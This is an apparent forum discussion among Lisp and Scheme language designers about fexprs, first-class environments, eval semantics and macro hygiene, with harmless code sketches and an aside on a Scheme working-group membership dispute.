I'm not by any means against FCEs in principle; on the contrary, I think they're fascinating, but I don't have a good feel for what the use cases are or what the tradeoffs are (other than defeating some optimizations).
Tom, I agree with Ray that you're working on a new lisp, which is great. Maybe you and John Shutt can join forces and collaborate on a more fleshed-out version of Kernel/simp? I think this would be a valuable contribution to the language community. It seems like a lot of the opposition to FCE is somewhat knee-jerk; having an actual language with FCEs would at least make the issues more tangible.
Michael,
Please forgive me for not giving a fully fleshed out account here. The original plan, when I was on WG1, was to have such a thing done perhaps a month or two from now - but now I'm more focused on "simp" and taking "necessary distraction breaks" in contexts like here (and watching cute cat videos :-).
But also please let me try to raise your comfort level with some easy details:
All that I want from the primitive form of (the-environment) is a procedure that let's me set and get the values of statically, lexically apparent variables by dynamically computed name. E.g., analogs of these should work (modulo a less crude interface to environments):
((lambda (x)
(display ((the-enironment) 'ref 'x)
(newline)
(display ((the-environment) 'set 'x 42))
(newline))
41)
prints:
41
42
You can write that version of THE-ENVIRONMENT using rather tedious syntax-case macros in a dialect of R5RS extended to permit them. And if you avoid using THE-ENVIRONMENT, you pay no performance penalty for it. And if you fail to avoid using THE-ENVIRONMENT, the performance penalty you pay is in most cases measurable but not too large to be useless.
syntax-case
Now, because we gave FCE's a procedural reification, we're free to add other operations to environments we create by other than a direct call to THE-ENVIRONMENT. We could, for example, add (an-environment 'define 'new-x 13)
(an-environment 'define 'new-x 13)
We can make sure that primitive EVAL copes with that but we have to be clear what such a DEFINE operator is permitted to do.
There are two choices: we can make the detailed definitions of these things such that a DEFINE operator can change which binding a previously entered identifier refers to -- or we can restrict DEFINE such that it may only add new bindings for previously unbound identifiers. I propose the latter for WG0 (so, no - we specifically avoid dynamic binding in the sense that you mean that).
If you would rather have FCE's in which DEFINE operators can change binding contours - well, you can do it but you pay a price. You'll have to add to your library of WG0 code an implementation of DYNAMIC-EVAL and pay some performance costs for the run-time look-up of identifier to binding mappings at each reference or mutation. I think that this follows the good principle of "pay as you go" for exotic features. At least we still have a rigidly formal, robust semantics for DYNAMIC-EVAL, based on its plausible definitions in basic WG.
I hope that helps. I'm not entirely sure what lacking details to add to make it more persuasive for you and hope that I failed to add nothing in that direction. For the moment, for me: back to sim.
Hm. I'm certainly not averse to collaborating; Although I'm happy to do my own thinking and implement my own ideas, I often find myself "waiting for insight" for months, or in the case of (my versions of) fexpr semantics or functions with multiple return values, evolving ideas over the course of years, before I really come to know what is exactly the "Right" semantics on a given subject. Even at that, the perception of "Rightness" is far from universal. Being part of a collaboration would most likely speed that process immensely, because we could pool our ability to have insights or see problems with the insights we've (collectively) had.
In order to explain my ideas about properly handling and programming with first-class environments, I'll start with the notation I'm using for functions that return multiple values. This is because that notation makes it easier for me to explain my definition of eval.
I use the pipe character in a call to introduce bindings within the current binding contour. So for example the code
;; returns the sum of foo and bar if it's more than 2.
;; returns 2 otherwise.
(if (> (+ foo bar | baz) 2) baz 2)
expresses the same semantics that, in scheme, would be expressed as
;; returns the sum of foo and bar if it's more than 2.
;; returns 2 otherwise.
(let ((baz (+ foo bar)))
(if (> baz 2) baz 2))
... well, almost the same semantics. In the "pipe" version above, the binding persists to the end of the enclosing binding contour (let or lambda) whereas in the "let" version, the binding contour is restricted by the immediate let to the if statement.
If that were all there were to the pipe, It'd be a pretty trivial notational convenience. But it's easy to generalize the notation to handle multi-argument continuations and functions with multiple return values, without mucking about with extra nesting in "receive" forms etc. So, for example, a call to the function that returns both the sine and cosine of an angle (because it's way cheaper to compute them together and you usually need both for trig) can be written simply as
;; the sin function returns cosine as its second return value.
;; here we capture (by naming) both return values in the local
;; scope.
(sin theta | sintheta costheta)
Now, if you're with me on the pipe notation, I'll start talking about eval. Eval, like sin above, returns two values. The first is the result of the evaluation, and the second is an environment identical to the environment with which eval was called except that it may have been extended or mutated by the evaluation itself. (note that the function can be specialized for single-return versus multiple-return contexts, so we don't have to do the "heavy lifting" of constructing a new environment all the time). So eval does not normally have side-effects to an environment, but we can use set! to mutate an environment deliberately by writing something like
;; env1 has no binding for foo
(seq
(eval '(define foo 2) env1 | defreturn envreturn)
(set! env1 envreturn))
;; in the new value of environment env1, foo is bound to 2.
As for deliberate alterations to the current environment via eval, it would work in a similar way. The code could look like this:
(seq
(eval '(define foo 2) (the-environment) | defreturn envreturn)
;; setting the current environment to a new value requires
;; a special form because it's fundamentally different from
;; set!'s contract of modifying a single binding within that
;; environment.
(set-env! envreturn))
Now, I want to make a point about the semantics of (the-environment) as I envision it: It returns the value of the current environment, not a reference to the current environment. That is, mutations to a value returned by (the-environment) will not result in changing the actual current environment, nor will introducing bindings in the current environment change a value that has already been returned by (the-environment). You can think of it as an environment constructor with copying semantics, but not as a way of grabbing a pointer that you can use to do out-of-band mutations on the actual environment you're using.
If you want to do those dangerous kind of mutations, at least in my lisp, you have to actually call the special form provided for exactly that dangerous kind of mutation: set-env!
(Re collaboration, Tom's summed up my situation quite well.)
The parallel between continuations and FCEs is, IMHO, pretty spectacular. Continuations and environments are both naturally arranged in hierarchies — each continuation has a set of descendants that are within its dynamic extent, and each environment has a set of descendants that are within its "static extent" (the symmetry is just too compelling for me to resist this terminology). In Kernel, I've got "keyed dynamic variables" that provide encapsulated dynamically scoped data (akin to Scheme's current input/output ports), following the continuation hierarchy; and "keyed static variables" that provide encapsulated statically scoped data, following the environment hierarchy. Kernel also has a mechanism called guarded continuations, which are something like exception handling except that, instead of catching abnormal transfer of control based on an explicit type hierarchy (which Kernel doesn't have), it uses the natural continuation hierarchy. I have wondered about (but never had time to pursue) the possibility of an analogous "guarded environments" mechanism, that could intercept an attempt to use an environment to evaluate an expression that it wasn't originally associated with. For example, when a fexpr uses its dynamic environment to evaluate one of its operands, that presumably shouldn't trip anything because the operand was already in the static extent of that environment; but evaluating an operand in the fexpr's local environment, which is a child of its static environment, is sending the operand to a different static extent, analogous to passing an object to a remote continuation.
One comment on style of fexprs. Ray and Tom and I each seem to have different philosophies on what constitutes, or is acceptable in the way of, complexity of design. (Of course, differing philosophies like that can sometimes produce amazingly good collaborations, as well as utter failures, but I digress.) Note, for example, that Kernel has zero special forms — not four, or three, or even just one. Although that's consistent with my personal aesthetics, I'm actually not doing it for that reason (an unprovable proposition, of course). I'm interested in abstractive power — for which I have a moderately specific notion in mind, which I've been attempting to formalize, and a basic element of my work on this subject is that whenever the abstractive facilities of a language fail to apply to the base language in a free and uniform way (recalling the RxRS passage about weaknesses and restrictions that make additional features appear necessary), that failure ultimately bounds the abstractive power of the language.
John,
At the risk of distracting you:
How are you using the word "special forms"? I think that when I say "special form" I mean nothing more or less than what you mean (in Kernel docs) when you say "operative". (I'm trying to not say anything definitive about what operatives and applicatives are "primitive" - just starting exposition with a few I take to be "built in".
Also, what do you mean by "abstractive facilities of a language [applying] to the base language in a free and uniform way"? For example, how does that describe $vau, wrap, and unwrap in some way that you think I'm missing with my approach?
For guarded environments, if I understand your intent correctly, that is part of why I propose a procedural interface to environments.
How are you using the word "special forms"? I think that when I say "special form" I mean nothing more or less than what you mean (in Kernel docs) when you say "operative".
I can't speak for John of course, but when I use the words "special" and "form" together, I'm talking about any procedure that does not evaluate its arguments immediately, once each, and in normal order.
One of the things I like about the fexpr semantics is that it's possible to do the whole system so that every procedure, including the special forms, is first-class and applicable. But I need to distinguish between "normal" and "other" procedures somehow, so I use the "special form" rubric for that.
Tom was spot on, I think, in identifying just where I'd misunderstood him. I tend to use "special form" only for a second-class operative determined by a reserved symbol. Whereas, when I'm being just mildly sloppy, I refer to all first-class operatives in Kernel as "fexprs", even though in the strictest technical sense only the compound Kernel operatives would be fexprs; that's a shorthand terminology that's also mentioned in the Wikipedia article "fexpr". (I do know of genuinely first-class compound operatives that aren't fexprs — I noticed them as part of my dissertation, where I call them "single-phase macros". SPMs are kind of fun, in an esoteric-language sort of way.)
I'm probably inclined to associate "special form" with second-class because the key to most of what I've figured out about making fexprs work — both in practice and in theory — hinges on thinking of them as the usual case, rather than an exceptional case. I call this the "explicit evaluation" view (or paradigm): that applicatives induce evaluation of their operands, in contrast to the implicit-evaluation view that operatives suppress evaluation of their operands. The implicit-evaluation view causes the trivialization of theory in Wand's 1998 paper. The distinction is also visible in meta-circular evaluation: for Scheme, general dispatch from the combination-handler is to mc-apply, with both operator and operands evaluated for the dispatch; whereas for Kernel, general dispatch from the combination-handler is to mc-operate, with neither operator nor operands evaluated for the dispatch (and the Kernel dispatch is the expected base case, whereas Scheme dispatch is expected to have exceptions). It's also significant that only under implicit evaluation can an operative accessing its operands be reification (converting an aspect of computation state into a data structure): under explicit evaluation, the operands were never anything else but data structures, so it's not possible to convert them into data structures, and no reification occurs.
mc-apply
mc-operate.
Could you elaborate?
Most of this discussion in this thread is uninteresting to me - but this was surprising. What do you mean by non-reflective?
For example, how does Kernel compare to OMeta or other reflective term rewriting systems? I see OMeta as Alan Kay, Ian Piumarta and Alessandro Warth's interpretation of fexpr semantics...
I admit, I wasn't familiar with OMeta. Perhaps I'm missing something because my knowledge of it is necessarily too superficial to pick up the subtleties, but it comes across to me as an interesting pattern-matching system that is neither fexpr-based, nor reflective. I do note that neither "fexpr" nor "reflect" shows up in the dissertation, and I don't see any really glaringly obvious references in the bibliography to support the presence of either feature, either (although there might be some that I'm simply not recognizing). What I perceive is a system that can perform pattern-matching operations on data structures, and in doing so can serve as a meta-circular evaluator, which doesn't seem to be anything more than Scheme could do. Perhaps you could comment on your view of how these two features pertain to OMeta? Perhaps my remarks on reflection below will help you see where we're failing to connect.
I'll try to elaborate on non-reflection in Kernel. (Sorry I didn't manage to make the following shorter.)
Reflection, as I understand it, is the ability of a computation to directly access facets of its own computational state that it wouldn't ordinarily be able to access. What is "ordinary" is a matter of how one perceives the computational paradigm. A stock technique for reflection is reification, which provides access to one of these ordinarily-inaccessible facets by manifesting it as a data structure — thing-ifying it.
Now, I'm particularly concerned with the contrast between two different ways of thinking about how combiners handle their operands. One view is that operatives (such as fexprs) suppress evaluation of their operands. That is, when we see an operand, we assume that it is meant to be evaluated — and then, if the combiner turns out to be operative rather than applicative, we take back the decision to evaluate it. I call this implicit evaluation. Unfortunately, when you go to construct a calculus for formal reasoning about computation, "suppressing subexpression evaluation" in certain contexts translates into suppressing subterm reduction in certain contexts, which immediately means that the term reduction relation is not compatible, therefore the term reduction relation does not imply contextual equivalence, therefore the contextual equivalence relation is rendered trivial — which is the reasoning in Mitchell Wand's classic 1998 paper.
The alternative view is that applicatives induce evaluation of their operands. So the operands are just data structures, and if they are passed unevaluated to an operative, that's just what happens to those data structures. If the combiner turns out to be applicative, then we commit to evaluating the operands, a decision that is irrevocable; and since there are no "suppressing" contexts involved, it's entirely possible to construct a compatible lambda-like calculus for this, with a nontrivial theory (whose nontrivial equations all involve terms that couldn't even be expressed in Wand's theory, but that's another story).
Now, here's where reification comes in. The term reify comes, of course, from philosophy; it's a kind of conceptual error that philosophers accuse each other of. We would call it a type error, in which something is treated as if it belonged to a type to which it does not belong. Reification in the reflective computational sense is the conversion of a facet of computation into a data structure, when that facet is ordinarily understood not to be a data structure. Why then would one consider a fexpr intrinsically reflective? Because it reifies its operands, of course. It might also be seen as "reifying" its dynamic environment, but I've never known anyone to claim that a fexpr is only reflective if it accesses its dynamic environment. To say that fexprs are reflective is to say that when fexprs access their operands they are performing reification. And under the explicit-evaluation assumption, when a fexpr accesses its operands it isn't reifying anything, because the operands started out as data structures and never stopped being data structures, so they can't be "reified". So, to say that fexprs are reflective is to embrace the implicit-evaluation paradigm. Which leads to all kinds of conceptual problems, including the trivialization of theory I described a moment ago.
So as I see it, through the lens of explicit evaluation, fexprs are not intrinsically reflective; and I am interested in studying fexprs for themselves. It will promote that study to separate fexprs as much as possible from this other feature (reflection) that they have been perceived as necessarily entangled with. So I really want to avoid flourishes, such as procedurally represented environments, that are favored in reflective Lisps because they afford lots of reflective power — when I don't want lots of reflective power, in fact I'd rather not have any at all.
I have to think about that. I'm scared of the performance implications of having "the-environment" clone environments and by the performance and semantic implications of "set-env!".
The performance implications are in fact scary, and I'll probably define another procedure, likely named eval!, that just mutates the environment in place. I expect eval to be frequently used in linear-update contexts, so in practice it will often be substitutable by eval!.
eval!
eval
But the eval/set-env! pair is, I think, a way to abstract "environmental" side effects (that is, side effects on the environment). For example, you could use eval to do a very complicated transaction involving many steps, tests, etc, in a "scratch" environment, and then either set-env! to commit the changes atomically, or just drop the "scratch" environment if things don't work out.
eval/set-env!
set-env!
Thanks for the clarification, Tom!
John Shutt wrote:
the key to most of what I've figured out about making fexprs work — both in practice and in theory — hinges on thinking of them as the usual case, rather than an exceptional case. I call this the "explicit evaluation" view (or paradigm): that applicatives induce evaluation of their operands, in contrast to the implicit-evaluation view that operatives suppress evaluation of their operands.
I absolutely agree. That was a breakthrough moment in my thinking about the semantics here too. Prior to that insight, I was looking at "runtime macros" in terms of runtime code transformation and finding that there was no way to write apply where you didn't have to know in advance what it was you were applying - which sort of defeats the point of apply. There were several trains of thought that came together there - separate compilability of modules was another important one - and finally I worked out what I needed to "encode" in an invocation frame in order to call a code-transforming object.
apply
The blinding insight that hit about then was that "normal" procedures could use the same kind of invocation frame. All it would require would be that, like the "macros", they'd have to control the evaluation of their arguments. So I could compile a call to something without knowing what it was, if I set up everything, regardless of whether it was a "function" or a "macro", to use this new kind of extended call frame.
So suddenly I had a way to write "apply" that could be used for macros or functions. So, wait a minute, these "macros" are functions. So, wait a minute again, given control of argument evaluation, many of these functions didn't need to be written in terms of code transformation, although they could be. And a whole wall of distinctions and problems and exceptions and caveats and limitations just washed away like tears in the rain. A thing that had grown to towering complexity and endless hairy problems suddenly became a vastly superior thing that was much, much simpler.
Realizing, after a bit, that I had reinvented "Fexprs", of course I went to read the papers about them and see why everybody thought they were bad. And I found that the problem had been about what environment to evaluate arguments in, in a lisp with dynamic environments which exacerbated that problem. But we have now a quarter-century or more of excellent work with scoping strategies, environments, macro hygiene, and lazy evaluation, all applicable to this kind of problem, which we didn't have then.
That made me think very carefully about applying that work. Specifically, about when and how an argument expression can be separated from the environment in which it was formed or evaluated in a "wrong" environment, and how to prevent those things from happening accidentally.
Under ordinary circumstances keeping track of the "call site environment" is enough for this. But with fexprs you can carelessly create extraordinary circumstances involving multiple call sites.
For example a function can pass an argument unevaluated to another function which then evaluates it, along with an expression formed at the call site within the first function. Now how do you determine from the information in the invocation frame to the second function the correct environment for both subexpressions?
So that was when I discovered the need for the final feature of my invocation frames - in addition to keeping a reference to the calling environment, each argument has to be an aggregate type of both expression and environment.
Anyway, that's the short history of how my thinking about it has evolved. Once I realized I needed argument evaluation to be Explicit (under the control of the called function) rather than Implicit (done independently of that function or actively suppressed by the function's "type"), the rest flowed in a straightforward course of design considerations.
A question for John and Tom: Given that neither of you are talking about constructing expression/environment aggregates for individual arguments, how do you propose to keep argument expressions associated with the environments in which those expressions were formed?
in addition to keeping a reference to the calling environment, each argument has to be an aggregate type of both expression and environment.
I wonder if we need yet another ingredient in order to support hygiene.
In hygienic macro systems, you have this notion that if a macro introduces an identifier, it gets transparently renamed (or marked, or "painted"), so that it can't clash with other identifiers.
(defmacro-hygienic foo ()
`(define quux 12)))
In this contrived example, quux would be inaccessible outside foo, so it would be completely useless.
quux
foo
OTOH, if a macro uses an identifier it has received as an argument/operand, that identifier will capture the original identifier.
(defmacro-hygienic defun (name sig . body)
`(define ,name (lambda ,sig ,@body)))
Here, name is accessible in the environment of the call-site of the macro.
name
My feeling is that we need similar renaming to enable hygienic fexprs.
But maybe, associating operands with environments, as you've described, is enough to make this work.
I swiped the technique of aggregating subexpressions with references to the environments where they were formed from "standard implementation strategy" for languages with lazy semantics.
It seemed like a well-explored method that was sufficient to serve the need. There may well be a way to do it otherwise, but if so that insight hasn't drifted yet into my poor little head.
A question for John and Tom: Given that neither of you are talking about constructing expression/environment aggregates for individual arguments, how do you propose to keep argument expressions associated with the environments in which those expressions were formed?
With the caveat that we have fairly different notions of environment mutation, I intend to do it similarly to what you describe, but only by convention and only in libraries rather than in the core language.
From my perspective, what you are talking about is a dynamic generalization of syntactic closures. And if you build a subset of those dynamic syntactic closures - namely, ordinary static syntactic closures - in a library atop my core, they can be statically eliminated by fairly simple rules that are deeply isomorphic to the customary rules for statically expanding, say, syntax-case macros.
That said, dynamic syntactic closures don't go in my "core" because they can be efficiently provided in a library and because there are plenty of times I just don't want them. They are overkill for simple FEXPRs like AND. They just get in the way for exotic FEXPRs that don't necessarily care about the caller's or the callee's lexical environment much (and will instead refer to some "third party" environment to resolve identifiers).
This all sounds like the rediscovery of lazy evaluation (like, for example in Haskell). Yep, it is beneficial for the expressiveness of a language not to evaluate the operands before passing them to the operator. And having lexically scoped lazy evaluation mostly eliminates the need for macros (hence, that's why Haskell does not have macros ...)
Nobody is claiming that FEXPRs are an original invention. They go *way* back. Even the "Schemish fexprs" that implicitly pass around first class environments go way back.
Yes, the option for lazy evaluation with sensitivity to lexical scope is one of their interesting benefits.
No, it's not *quite* Haskell for with FEXPRs, you have something lacking in Haskell: a deep equivocation of data structures (e.g., structures formed from constants and from CONS) with code (that which can be evaluated) that is nicely (simply, directly, usefully) related to the rest of the language. For high-falutin' theory stuff, have a look at appendix C of The Revised^-1 Report on the Kernel Programming Language. "Code == Data" is pretty deep and hairy in some ways and on the other hand intuitively simple and tractable in others. It's deeply part of what makes a lisp dialect a lisp dialect. Round about the time of the Revised Revised Report on Scheme the demi-gods of Scheme standardization shoved aside "Code == Data" -- initially appearing to merely postpone the topic but in the past decade seemingly intent on killing it entirely. And this in spite of mounting evidence that the rationales they offer for doing so simply don't add up. But enough about "them"....
FEXPRs are not quite simply "lazy evaluation" in the sense of "normal order reduction of lambda calculus terms" because they add concepts like data structures (such as cons pairs) and first class environments. FEXPRs of the sort we're discussing here admit useful yet naive implementations comparable to the meta-circular interpreter found in "The Structure and Interpretation of Computer Programs". They provide a conservative generalization of the theories of phased hygienic macros that lie behind R5RS and R6RS. They are a no brainer for a modern lisp, if you ask me, except for within certain influential social circles who are trapped in dysfunctional patterns of discourse - and whom I can only address from outside, and probably incomprehensibly to many of them.
They are a no brainer for a modern lisp, if you ask me, except for within certain influential social circles who are trapped in dysfunctional patterns of discourse
Speaking of dysfunctional discourse, these sort of comments get tedious fast, and are difficult to distinguish from the utterings of a crank.
You'd do better to focus on technical explication of the viability of the approach you're advocating, beyond assertions in comments on LtU.
I've tried pretty hard to stick to technical discussion here, but I don't think that being dumped from the working committee without notice or discussion was fair play. Is it unprofessional to vent about it here? Maybe. But is it unreasonable to ask Tom not to be angry? Definitely. I know you're not speaking for the committee, but one simply cannot treat someone that way and then ask them to shut up about it.
Anyway, Tom has no reason any more to cooperate with the committee, nor reason to care whether their feelings are hurt. in fact they've rather emphatically rejected his cooperation and deliberately disrespected him, as far as I can tell. If he now does not cooperate with their desire for silence they've themselves to blame.
Mr. Lord was removed by WG1 by the Scheme Steering Committee, which appointed him in the first place under conditions, just like every other member. I regret (though I am not responsible for it) that the SC has not made its actions public. I do know from personal knowledge that his claim of not being warned is simply false.
That's all I have to say here.
I shall correct Mr. Cowan's impression off-blog.
Your point is taken and accepted in this context, Anton, that I should lay off for now and I shall. After this:
I think that LtU is a great place for front-page material that is mostly just literature review on a technical level - for a broad definition of literature. It adds up to a great reference resource, that way, and also a great way to keep a finger on the pulse of what's going on in PLT and new language engineering.
I think that LtU is also a great place to note some history of programming languages, both retrospectively and in real time. We all have our pet theories and notions about how programming language design goes in ideal practice and here is a place where we can record both our theories and notions, and compare and contrast with the historic facts of programming language development for comparison. Perhaps, or perhaps not, in 20 years someone will ponder "Why didn't R7RS include FEXPRs? They were fairly well understood by that time. Why did they omit them? It would have been an obvious step!" Well, here is a place for a partial chronicle of events.
Final "crank" statement: Let the record show that *this* former member of WG1 was informed by the WG1 chair that by *discussing* the *possibility* of FEXPrs for WG1 Scheme, on a discussion mailing list, in threads with other people entering into the discussion -- that mere act of talking about it on a discussion-oriented mailing list with apparently willing interlocutors -- had *forced* the resignation of another member of WG1 who was (I am informed) sufficiently offended by the mere contemplation of the topic. That other member's resignation, as I (imperfectly, no doubt) understand these recent events, was one of several strikes against me that led to my expulsion. (The other strikes, as I understand them, are about as equally ridiculous as is the manner in which the Steering Committee treated the entire matter from start to finish.)
I find that remarkable. I note it here, for the record which LtU is. What's that old saying about theory in practice and practice in theory? People can sort it out later. Yes, I have been frothing at the mouth. Yes, I'm sure I'm superficially hard to distinguish from a crank in these matters. Your point is taken. I hope you take mine.
I appreciate your graceful acceptance of my point.
I think that LtU is also a great place to note some history of programming languages, both retrospectively and in real time
The structure which we've tried to encourage (although less actively lately) is that most substantial things worth saying should be posted elsewhere, on a blog, in a paper, etc. LtU has historically worked best when it links to such material.
One reason is that anything worth discussing needs some common foundation amongst the participants and audience. Few LtU readers are likely very aware of the workings of Scheme WG1 (I'm certainly not), and an external post about whatever the issue happens to be could take the space to lay out the author's perspective for those who aren't intimately familiar with the topic.
All true and important points, and indeed linking to more background will surely be helpful to most readers. Still, I feel I should say that I find that sometimes asides such as the one Anton responded to can illuminate the discussion, and indeed infrequent angry posts are not the end of the world. Civilized discussion, which is our goal, can become heated from time to time, so long as the discussion remains grounded in facts and arguments.
I, for one, am learning quite a bit I didn't know before from the current discussion.
I thought I knew quite a lot, actually, about Lisp and its history, both technical and social. Tom Lord and Ray Dillinger, in particular, are helping me to understand how far off the mark my sense of understanding has been. I owe them a debt of gratitude for that. Having my own strongly-held predilections, and having them serve as a focal point for opposition, I have to say that I can also, to a limited extent at least, sympathize with Tom's frustration. It's difficult to feel that you've been excluded from a community for unsound reasons.
It's difficult to feel that you've been excluded from a community for unsound reasons.
Well, "feelings" are one thing, but from the little I've seen in this thread, I suspect the reasons relating to excluding Tom from WG1 specifically may in fact have been quite sound. Noel preempted all this at the top, when he wrote:
There is another point: the Scheme standard is not really the place for experimentation. If you want to see something in the standard get it into an implementation first, generate some significant experience with the feature, and then perhaps the committee will listen to you.
I retract my earlier comment to Tom, apparently we're discussing this now.
I didn't mean to imply that I thought the reasons, whatever they may have been, were unsound. I don't know nearly enough about the charter, the interactions, or any of the private communication related to the issue to have an opinion one way or the other. I was only responding to Tom's clear frustration here, which came attached to, but distinct in my mind from, the extremely helpful exposition of his design arguments with respect to his Lisp dialect, whatever it may be called, and whether it qualifies as a "Scheme" or not.
I appreciate both your original encouragement to back off the topic and the follow-ups from people saying they got something out of it and it wasn't wildly inappropriate.
I don't think that there's a lot of discussion left to be had in the topic but I'll mention these things. I hope this doesn't come off as condescending:
1) WG1, if they take my unsolicited advice, should say to itself "Well, that whole mess sucked," and then proceed to have fun and do good, thoughtful work. They presumably don't need me to tell them that but I figure it can't hurt.
2) WG1 should not forget that the charter calls for a language that admits simple, tiny, naive yet useful implementations and that also admits sophisticated implementations which should serve as a platform on which a larger language (say, WG2?) can be implemented in a portable fashion. I happen to think that optional FEXPRs in a very tiny core are a good strategy for that but I would also agree that it isn't the *only* strategy. It was a mistake, in my view, for WG1 to officially suppress discussion of the proposition but what's done is done.
3) As a kibbitz from the outside perspective, I think that both WGs are at risk of suffering from over-management and under-participation. The chairs are energetic; much of the membership - meh. One of the powers of the chairs is to appoint officers. Both could benefit, perhaps, from the appointment of a secretary to record "minutes" and chronicle the proceedings, an editor to maintain work-product for the final report, and subcommittees where appropriate to consider various topics and report back.
4) WG1 should carefully consider its current trajectory of ratifying R5 plus additional requirements drawn from various SRFIs against the charter.
5) WG2 should expect from WG1 a language in which WG2 Scheme can be usefully implemented in a portable way and WG1 should expect the same. Some discussion to this point has suggested punting on that point.
6) WG1 should take REPL / dynamic programming environment semantics much more seriously than it has so far (although, to be sure, it is only around 2 months into the process).
7) Scheme is dead. Long live Scheme. About the worst damage WG1 and WG2 can do is to fail to increase the practical relevance of the Scheme Report(s) in the next generation. Such damage can can scarcely kill off the pursuit of the basic ideas at the core of Scheme. The "upside" potential of the WG's is to punt the ball far down the field in terms of Scheme's ... uh ... "acceptance", "relevance", what have you. The "downside" potential is to waste 1 - 1.5 years with little or no lasting impact (but hopefully at least have fun trying). If the WGs display some guile in pursuit of the gambit they've embarked upon they can PLoT a great future even if they are bit chicken about fexprs. If they fail, nobody will accuse them of larceny for robbing Standard Scheme of a promising future since, as it stands, chez lambda is in rough shape anyway. I don't mean to be gauche but they should be cautious about letting some kind of Stalin start taking over the process but I don't suppose that any of the members are really SCuM at the end of the day and if the WGs don't get stuck in any Rabbit holes they can grow from chibi into a mighty Oak(lisp).
-T
I don't know much about the tangled history of fexprs in Lisp, but much more than lazy evaluation, I keep being reminded of the (type-driven) way that C# reifies expressions as part of LINQ queries (and, I think, perhaps anywhere that an expression has a type like Expression<T>?). Unfortunately, I don't know much about LINQ either beyond the little I've read in papers, so I'm hoping someone else can shed some light.
Anyway, I don't know exactly how they handle free variables, whether they pass something like a first-class environment, or attach the bindings of each free variable in the current environment along with the variable's name, or what. But if fexprs are universally known to be such a bad idea, I'm curious what the difference is here. I guess the obvious distinction is that in C#, the difference between normal and "fexpr" evaluation is statically apparent. Perhaps that's 90% of the controversy around fexprs?
Only lambdas are compiled to LINQ expressions. If an environment value is captured by such a LINQ expression, it's embedded as a ConstantExpression with the value at the time of capture, as if it were a closure (consistent with C#'s eager semantics).
If you want to defer capture, you'd have to lift it to a parameter of the lambda, or wrap it in a custom lazy type, or perhaps an expression node that your expression visitor understands and processes specially.
That helps somewhat. I'm still a bit confused, though. LINQ allows to introduce new bindings as well as capture, e.g., column names, correct? And no explicit lambdas are needed, right? I have in mind stuff like "select foo as bar from blah", where at minimum "foo" and "bar" are not hygienic. How is this done?
Sorry, I suppose I could just go read the docs...
var q = from b in blah select new { bar = b.foo };
// equivalent:
var q = blah.Select(b => new { bar = b.foo });
foreach (var item in q) Console.WriteLine(item.bar);
The type of blah (which is basically a monad) must have a valid match for blah.Select<TSource,TResult>(), which can be found in a number of ways; b is expected to be of type TSource. foo is statically determined to be a member of TSource. The type of blah, and the type argument TSource, and the member foo, may all have attributes (metadata) associated with their reflection objects, and the corresponding LINQ engine uses this metadata to map from the type system constructs to the database. Normally this metadata is in the form of attributes in the source code, where the source code is generated by a tool that looks at the database schema.
I just wasn't sure where they were hiding the lambdas...
Maybe this will help: C# 3.0 query expression translation cheat sheet. It's a fairly concise summary of all the transforms LINQ handles with its query syntax.
The final step is understanding how some LINQ expressions are compiled to delegates, ie. Func<T, R>, and some to quoted expressions, ie. Expression<Func<T, R>>. LINQ collections are an example of the former, LINQ-to-SQL are an example of the latter.
I see in the link you provided to John's spec for the Kernel language that he's doing the same as me and providing the environment with each argument to an "operator".
Which I feel vindicates a design choice, somewhat; meaning, I suppose, that even now I hadn't fully trusted my decision to make aggregates, and find it reassuring that a smart academic guy came to the same conclusion. To me it means that if there was an alternative I missed when I made that choice, it wasn't something blindingly obvious.
I didn't mean to criticize associating operands with environments. To the contrary, that seems like a very good thing to do.
My question was whether FCEs could obviate extra machinery for hygiene, and now I'm more certain than before that they can.
I think that quasiquote's (and maybe also quote's) definition needs to be extended, so that the objects it creates are also such form/enviroment aggregates, where the environment is the environment in which quasiquote is called.
quasiquote
quote
Then, as in a hygienic macro system, the contrived
(defmacro-hygienic foo ()
`(define quux 12))
creates an inaccessible variable, because quux is an aggregate with foo's environment.
</handwave>
I had not considered this very closely yet because I have not implemented quasiquote and unqoute in my language. I had gotten as far as quote, and was still debating whether those should make it into the "first cut" of the language. I had noticed they needed to be more complicated somehow, but thought that maybe quasiquote should have a two-argument form with an environment as second argument. I was "waiting for insight" as to how to implement these features but hadn't gotten further than that.
unqoute
quasiquote
Offhand, I believe that you are right, and that in a world with fexprs each unquote would need to have its own environment. That probably makes it simpler to use a "list of thunks" idiom than the more familiar "quote/unquote" idiom.
Thank you for the insight.
[Dear LtU'ers, please excuse posting such "in-progress" thoughts. I post this here because this thread has strayed off-topic already, and one more comment can't hurt that much. And I think that I'm onto something here ;)]
I think that my above comment regarding a new quasiquote to support hygiene doesn't go far enough.
Summary: I think that we need to separate environments (mappings from symbols to locations) from "namespaces" (variable references "painted"/marked with the same "color"/set of marks). Every invocation of quasiquote creates a new namespace, disjoint from every other namespace. Symbols can be injected into a namespace with DATUM->SYNTAX to deliberately break hygiene.
Longer explanation:
In SRFI-72, André van Tonder presents an interesting hygiene rule:
A binding for an identifier can only capture a reference to another if both were present in the source or introduced during a single evaluation of a syntax or quasisyntax form, with the understanding that the evaluation of any nested, unquoted syntax or quasisyntax forms counts as part of the evaluation of an enclosing quasisyntax.
This seems to suggest that even if multiple quasiquotes (I'm using this interchangeably with quasisyntaxes) appear in the body of the same fexpr, the "namespaces" they introduce are different:
(fexpr (param1 ... env)
(eval `(define x 1) env)
(eval `x env)) ;; unbound-variable-error
Fix:
(fexpr (param1 ... env)
(let ((var `x))
(eval `(define ,var 1) env)
(eval var env)) ;; ==> 1
So, associating the results of quasiquotes with the environments in which they were created is not enough for (SRFI-72-style) hygiene.
Rather, each quasiquote invocation should generate a new namespace (or "template identifier" in SRFI-72 parlance), that can then also be used with DATUM->SYNTAX to inject a symbol (or other form) into the namespace of the quotation.
For example, this macro defines the variable foo in the call-site's environment and namespace, by breaking hygiene with DATUM->SYNTAX:
(define foo-definer (fexpr (param1 ... env)
(eval `(define ,(datum->syntax param1 'foo) 12) env))
(foo-definer)
foo ;; ==> 12
(Edit: This is slightly handwavey, as the fexpr has no parameters, so param1 doesn't exist. Let's just say that param1 is a handle to the call-site's namespace. There could be a mechanism for the fexpr to receive the whole form (analogous to Common Lisp's &whole), and that would then be used.)
&whole
For comparison: this contrived, useless macro defines the variable foo in the call-site's environment, but in a fresh namespace, so the variable is inaccessible, because of hygiene:
(define broken-definer (fexpr (param1 ... env)
(eval `(define foo 12) env))
(broken-definer)
foo ;; unbound-variable-error
Thoughts?
